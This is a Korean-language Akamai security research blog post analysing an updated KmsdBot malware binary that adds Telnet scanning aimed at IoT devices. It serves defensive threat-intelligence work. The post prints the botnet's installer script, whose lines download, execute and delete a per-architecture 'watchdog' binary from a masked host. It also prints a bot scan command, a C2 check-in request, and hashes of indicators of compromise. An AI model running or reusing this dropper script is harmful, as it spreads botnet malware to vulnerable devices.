클라우드 컴퓨팅이 필요하신가요? 지금 시작해보세요

KmsdBot에서 IoT 환경을 노리고 있음을 보여주는 업데이트된 Kmsdx 바이너리

Larry Cashdollar

에 의해 작성

Larry Cashdollar

August 15, 2023

Larry Cashdollar

에 의해 작성

Larry Cashdollar

래리 W. 캐시달러(Larry W. Cashdollar)는 보안 분야에서 18년 이상 취약점 연구원으로 활동해 왔으며 현재 Akamai Technologies의 보안 사고 대응 팀의 일원입니다. 래리는 서던 메인 대학교에서 컴퓨터 공학을 전공했습니다. 래리는 150개 이상의 CVE를 문서화했으며 BSides Boston, OWASP Rhode Island, Defcon에서 자신의 연구 내용에 대한 프레젠테이션을 진행했습니다. 그는 여가 시간에 야외를 즐기고 미니 자전거 엔진을 재조립합니다.

KmsdBot 멀웨어 캠페인의 지속적인 활동은 IoT 디바이스가 여전히 인터넷에 널리 퍼져 있고 취약성이 있기 때문에, 감염된 시스템의 네트워크를 구축하는 데 있어 매력적인 표적이 되고 있음을 나타냅니다.

편집 및 추가 기여: 트리샤 하워드(Tricia Howard)

핵심 요약

  • Akamai 보안 인텔리전스 대응팀(SIRT)은 KmsdBot 멀웨어 캠페인을 지속적으로 추적하고 있으며, 이를 통해 사물 인터넷(IoT) 디바이스를 표적으로 삼는 업데이트된 Kmsdx 바이너리를 발견했습니다.

  • 현재 이 바이너리에는 텔넷 스캐닝에 대한 지원과 더 많은 CPU 아키텍처에 대한 지원이 포함되어 바이너리의 공격 기능이 향상되고 공격표면이 확장되었습니다.

  • 이러한 업데이트된 기능은 2023년 7월 중순 이후에만 발견되었습니다.

  • 이 멀웨어는 개인 게임 서버, 클라우드 호스팅 사업자, 특정 정부 및 교육 사이트를 표적으로 삼습니다.

  • 이러한 멀웨어가 존재하고 활동함에 따라 취약한 IoT 디바이스가 계속 인터넷에서 상당한 위협이 되고 있고, 정기적인 보안 조치와 업데이트의 필요성이 높아지고 있습니다.

무엇이 다시 돌아왔을까요?

Akamai SIRT는 2022년 11월부터 Kmsdx 봇넷 캠페인 을 추적해 왔으며, 이번에 또 다른 새로운 진화를 발견했습니다. 이번에는 이전 버전에 비해 기능이 상당히 확장되었으며, IoT를 표적으로 삼는 업데이트된 Ksmdx 바이너리를 발견했습니다.

또한 IoT를 표적으로 삼는다는 점이 추가되어 공격자의 행동과 일반적인 환경에 대한 인사이트를 얻을 수 있습니다. 몇 년 전부터 IoT가 존재해 왔고 여러 차례의 대규모 IoT 기반DDoS(Distributed Denial-of-Service) 공격이 발생했음에도 불구하고, 이 새로운 진화는 IoT로 인한 위협 환경이 여전히 광범위하다는 것을 보여줍니다.

이 게시물에서는 해당 바이너리가 업데이트된 사항을 살펴보고 표적으로 삼는 기법을 검토해 보겠습니다. 또한 이러한 진화가 미칠 영향에 대해서도 알아보겠습니다.

IoT를 표적으로 삼는 KmsdBot

KmsdBot은 처음 발견한 순간부터 작성자가 실수로 충돌을 일으킨다음, 명령 및 제어(C2)를 에뮬레이션하는 Akamai SIRT에 이르기까지 꽤나 긴 여정을 거쳤습니다. 끊임없이 진화하는 이 멀웨어에 대한 리서치가 계속되어 네 번째 버전인 '업데이트된 Kmsdx 바이너리'까지 이어졌습니다.

이 바이너리는 열려 있는 SSH 포트를 찾기 위해 임의의 IP 주소를 스캐닝하고 C2 서버에서 다운로드한 비밀번호 목록으로 시스템에 로그인을 시도합니다.

이 바이너리는 텔넷 스캐닝과 정상적인 텔넷 서비스 확인을 지원하도록 업데이트되었습니다. KmsdBot 바이너리 목록은 IoT 디바이스에서 흔히 볼 수 있는 CPU 아키텍처를 더 많이 포함하도록 늘어났습니다. Akamai에서는 이 멀웨어에 대한 첫 번째 블로그 게시물 에서 FTP 서버의 디렉터리 구조가 향후 더 많은 CPU 아키텍처 지원이 이루어질 것임을 시사했기 때문에 향후 가능성 있는 사항으로 이에 대해 언급했습니다.

샘플은 포트 23의 초기 연결에서 수신되는 것이 있는지 확인해 유효한 텔넷 서비스를 검사하는 것으로 보입니다. 포트 23에서 수신하는 것이 유효한 텔넷 서비스인지 확인하고 연결을 끊는 것이 아니라 프롬프트를 표시하는 것으로 보입니다.

그림 1의 생성된 의사 코드에서는 main_isitfake 가 주요 텔넷 스캐닝 함수 내부에서 호출됩니다.

그림 1의 생성된 의사 코드에서는 주요 텔넷 스캐닝 함수 내부에서 main_isitfake가 호출됩니다. 그림 1: 생성된 의사 코드에서 main_telnet()은 main_isitfake()를 호출합니다

검사가 실패할 경우 여기서 끝납니다. 그러나 통과하면 즉, false를 반환하면 감염 페이로드를 실행합니다.

단순해 보이는 이 IP 스캔에는 실제로 다소 심도 있는 내용이 포함되어 있습니다(그림 2). 이 정상성 검사는 IoT 디바이스를 표적으로 삼을 수 있다는 단서를 제공한 요소 중 하나입니다. 일부 IoT 디바이스에는 텔넷 수신 기능이 있으며, IP 주소가 RFC 1918 주소 공간이 아닌 경우 연결을 끊는 접속 제어 목록도 있습니다

RFC 1918에 익숙하지 않다면 '프라이빗 인터넷용 주소 할당'이라는 제목으로 내부 네트워크에 사용되는 IP 주소 범위를 설명합니다. 예를 들어, 홈 네트워크에 사용되는 일반적인 IP 범위는 192.168.1.0/24와 192.168.0.0/24입니다.

이 간단한 IP 스캔에는 실제로 다소 심도 있는 내용이 포함되어 있습니다(그림 2). 그림 2: 텔넷 스캐닝을 처리하기 위한 부가 코드가 추가되었습니다

SSH 스캐너와 마찬가지로 텔넷 스캐너는 임의의 IP 주소를 생성하는 함수를 호출합니다. 그런 다음 해당 IP 주소에서 포트 23으로 연결을 시도합니다. 하지만 텔넷 스캐너는 단순히 포트 23이 수신하는지, 수신하지 않는지를 판단하는 데 그치지 않고 수신 버퍼에 데이터가 포함되어 있는지 확인합니다. 디컴파일된 바이너리에서 다음과 같은 의사 코드 스니펫을 생성할 수 있었습니다(그림 3). 이 코드 스니펫은 데이터가 포함된 버퍼(null이 아님)를 검사하는 방법을 보여줍니다.

디컴파일된 바이너리에서 다음과 같은 의사 코드 스니펫을 생성할 수 있었습니다(그림 3). 이 코드 스니펫은 데이터가 포함된 버퍼(null이 아님)를 검사하는 방법을 보여줍니다. 그림 3. 버퍼 검사 제어의 흐름을 보여주는 의사 코드

Package main: /root/scan

File: main.go

main Lines: 11 to 48 (37)

scanner Lines: 48 to 68 (20)

File: pma.go

checkpma Lines: 13 to 79 (66)

checkpmafunc1 Lines: 68 to 72 (4)

check Lines: 79 to 114 (35)

File: ssh.go

sshcheck Lines: 15 to 205 (190)

scan Lines: 205 to 227 (22)

scanfunc1 Lines: 218 to 226 (8)

File: telnet.go

scantelnet Lines: 11 to 41 (30)

scantelnetfunc1 Lines: 26 to 34 (8)

telnet Lines: 41 to 85 (44)

isitfake Lines: 85 to 120 (35)

File: utils.go

randomIP Lines: 31 to 49 (18)

portopen Lines: 49 to 82 (33)

newpassword Lines: 82 to 92 (10)

sendreq Lines: 92 to 104 (12)

optimaltimeout Lines: 104 to 119 (15)

nolimits Lines: 119 to 127 (8)

osname Lines: 127 to 184 (57)

getlistofdata Lines: 184 to 217 (33)

choosedifficultyport Lines: 217 to 245 (28)

workername Lines: 245 to 271 (26)

randomwallet Lines: 271 to 274 (3)

그림 4: 텔넷 서비스 스캐닝을 지원하기 위해 추가된 코드를 보여주는 리드레스(redress) 출력

업데이트로 인한 영향

KmsdBot의 몇몇 업데이트는 성공적이지 못했었지만 이번 업데이트는 성공한 것으로 보입니다. 추가된 스캐닝 검사 기능 외에도 더 많은 아키텍처가 이제 지원됩니다. 설치 스크립트 ftp1.sh(그림 5)에서 볼 수 있듯이 이제 Winx86, Arm64, mips64, x86_64만 지원하던 시대는 지나가고 더 많은 아키텍처를 사용할 수 있습니다.

  #/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/386/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/amd64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/arm/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/armv7l/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/arm64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/ppc64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/ppc64le/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mips/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mipsle/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mips64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mips64le/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/s390x/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog

그림 5: 지원되는 아키텍처를 보여주는 kmsd 설치 스크립트

kmsd는 최소 2022년 11월부터 존재했지만, 텔넷 정상성을 스캐닝하기 시작한 것은 꽤 최근의 일입니다. 봇 추적 로그에 따르면 텔넷 서비스에 대한 스캐닝은 2023년 7월 16일에 시작되었습니다.

피해자 찾기

telnet.txt(그림 6)는 다양한 애플리케이션에 대한 인증정보 목록과 함께 다운로드할 파일 이름입니다. 로그를 확인한 결과 app, euro, euro2, euro3, euro4, lilstat, stats, users 등의 파일 이름을 발견했습니다. 파일에는 각 애플리케이션에 대한 서로 다른 인증정보가 포함되어 있습니다. 예를 들어, 'app' 파일에는 Hadoop, Oracle, Elasticsearch와 같은 애플리케이션에 사용할 수 있는 로그인 인증정보가 포함되어 있는 반면, 'euro' 파일에는 TeamSpeak, CentOS, Ubuntu 및 기타 로그인 조합에 대한 인증정보가 포함되어 있습니다.

!scan c2_ipadddress telnet telnet.txt kthread watchdog

그림 6: 인증정보를 다운로드하고 스캐닝을 시작하는 봇 명령어

그림 7에서 볼 수 있듯이 텍스트 파일에는 다른 상황에 같은 단어를 사용하는 경우처럼 일반적으로 사용되는 여러 가지 취약한 비밀번호와 그 조합이 포함되어 있습니다. 나열된 인증정보는 효과적이지 않아 보입니다. 너무나도 단순하고 매우 취약하기 때문에 사람들이 사용하지 않았으면 좋겠습니다.

하지만 여기에 IoT 관점을 도입하면 완벽하게 이해가 됩니다. 많은 IoT 디바이스가 기본 인증정보를 사용하도록 설정되어 있으며, 실제로 기술에 익숙하지 않은 사람들은 인증정보를 변경 가능 하다는 사실조차 알지 못합니다.

그림 6에서 볼 수 있듯이 텍스트 파일에는 다른 상황에 같은 단어를 사용하는 경우처럼 일반적으로 사용되는 여러 가지 취약한 비밀번호와 그 조합이 포함되어 있습니다. 그림 7: 다운로드된 인증정보의 일부 목록은 telnet.txt에 저장됩니다.

명령줄 위의 봇 명령과는 별도로 ./ksmdx telnet telnet.txt kthread watchdog를 실행하면 ksmdx 바이너리가 텔넷 인증정보 목록을 다운로드하고 텔넷 서비스에 대한 임의의 IP 주소 스캐닝을 시작합니다. 그러면 스캐너가 포트 45833으로 'Bruh Started:' (그림 8)라는 POST 요청을 전송해 스캐닝이 시작되었음을 C2 서버에 다시 보고합니다. 

  POST / HTTP/1.1
  Host: xxx.xxx.xxx.xxx:45833
  User-Agent: Go-http-client/1.1
  Content-Length: 14
  Content-Type: text/plain
  Accept-Encoding: gzip

  Bruh Started:

그림 8: 공격자에게 텔넷 스캐닝이 시작되었음을 알리는 POST 요청

공격 대상의 비일관성

이 봇넷은 지금까지 그래왔듯이 대부분 프라이빗 게임 서버와 클라우드 호스팅 사업자를 표적으로 삼고 있지만, 각 버전의 kmsd마다 범위를 벗어난 몇 가지 표적이 있었습니다. 이번에는 루마니아 정부 사이트와 일부 스페인 대학이 공격을 받았습니다.

공격 대상의 일관성이 없는 것은 kmsd의 배후에 있는 공격자의 행동과 일관성이 있으며, 이는 봇넷 대행 서비스일 가능성이 높습니다. 이러한 공격은 HTTP POST 요청이 있는 포트 80과 443을 표적으로 삼고 있으며, 'bigdata' 공격이 여전히 주요 공격으로 선택되고 있습니다.

감염 징후

66e0f3674a66647d5a9e23f47f889d4e3ad9b4a66db8f3def48d4675374d12f7 bins.sh

718fc249bcd6bc37ad229fb2d8c4037dc8dc8f4555d01934266d1a0c17d676cf watchdog.386

1f66675d2102e5d4ac89a239f9022c48b3bf23fe92dadb832d84e0eac6e476d6 watchdog.amd64

50afbf471a92acd1a0a6a2ffe199a52881eb80f683d95273302506194b2cd6ae watchdog.arm

812133033ba969731b66c63d5468556e42048bad396ef1026b5a91dda98bc289 watchdog.arm64

542791cf2dde1f449629b03ef95d3c2e0b2f98b1143d619232620d7c9459706c watchdog.mips

184f361bcf48265e74c31adee297b0cdfb1bbc39bc58f901c4ffdb69f6b589de watchdog.mips64

b09a3c2922ac519e76718c56763e39aece82c18556039be8547b166479f35555 watchdog.mips64le

b921f0de63ffae2865f5e1dbe8a52a1da505c902e2e4e2a96b85983029d311b5 watchdog.mipsle

b5eba1e7403e64559cfd40d56163ac31f3100d5e6e46be8fbb190cb82905528b watchdog.ppc64

c7a7a77343869f30004d02cba1bb24fd6c34770b40a19f37eb11c1b1d814446f watchdog.ppc64le

c8995af31396ef03270e847c1f40e1b860f3b838b7a6b0cde9decc2a3d01cad3 watchdog.s390x

d9a94d9ab91ae20cb91946f9c2513848844068914be3e9a6a5279b860febe2cc ksmdx

cad0ea256fc764f501da91c4e3b17bf08df7525d3dac376a1e23d3b40c60a7a1 download.php

803fb1cdeea499f9faaa0c95857d30d6be9d92fcce5dc176d5d3bac8d4f37eb3 ftp1.sh

733a3db1b54bac7ad8279b7b98be97833ee0e620b5be7db3159e178deb966e53 svhostb.exe

결론

KmsdBot 멀웨어 캠페인의 지속적인 활동은 IoT 디바이스가 여전히 인터넷에 널리 퍼져 있고 취약성이 있기 때문에, 감염된 시스템의 네트워크를 구축하는 데 있어 매력적인 표적이 되고 있음을 나타냅니다.

기술적 관점에서 볼 때 텔넷 스캐닝 기능이 추가되었다는 점은 봇넷의 공격표면이 확장되어 더 넓은 범위의 디바이스를 표적으로 삼을 수 있게 되었다는 것을 의미합니다. 또한 멀웨어가 진화하고 더 많은 CPU 아키텍처를 지원함에 따라, 인터넷에 연결된 디바이스의 보안에 지속적으로 위협이 되고 있습니다. 이러한 확장은 봇넷의 성공을 의미하기도 합니다. 봇넷이 효과적이지 않았다면 공격자들이 업데이트에 그렇게 자주 시간을 할애하지 않았을 것입니다. 업데이트 중 하나가 실수로 충돌을 일으켰다고 해도 말입니다.

개인적인 관점에서는, 이번 발견 사항으로 인해 해당 공격을 막기 위해 강력한 보안 조치를 마련하고 정기적인 업데이트를 수행해야 될 필요성이 높아졌다고 봅니다. 또한 일반 개인이나 가정에 IoT에 대한 내용과 그로 인해 발생하는 위협에 대해 더 많은 교육이 필요하다고 봅니다. 이미 여러 번 경험한 바 있습니다. 냉장고 소유자가 공격이 발생했는지 알지도 못하는 사이에 임의의 냉장고가 의도하지 않게 DDoS 공격에 가담하는 경우가 많습니다.

관심 유지

Akamai SIRT의 목표 중 하나는 KmsdBot 같은 봇넷의 진화를 분석하고 문서화해 대중에게 관찰한 내용을 알리는 것입니다. Akamai의 최신 보안 리서치 내용을 확인하려면 Twitter에서 Akamai를 팔로우하세요.



Larry Cashdollar

에 의해 작성

Larry Cashdollar

August 15, 2023

Larry Cashdollar

에 의해 작성

Larry Cashdollar

래리 W. 캐시달러(Larry W. Cashdollar)는 보안 분야에서 18년 이상 취약점 연구원으로 활동해 왔으며 현재 Akamai Technologies의 보안 사고 대응 팀의 일원입니다. 래리는 서던 메인 대학교에서 컴퓨터 공학을 전공했습니다. 래리는 150개 이상의 CVE를 문서화했으며 BSides Boston, OWASP Rhode Island, Defcon에서 자신의 연구 내용에 대한 프레젠테이션을 진행했습니다. 그는 여가 시간에 야외를 즐기고 미니 자전거 엔진을 재조립합니다.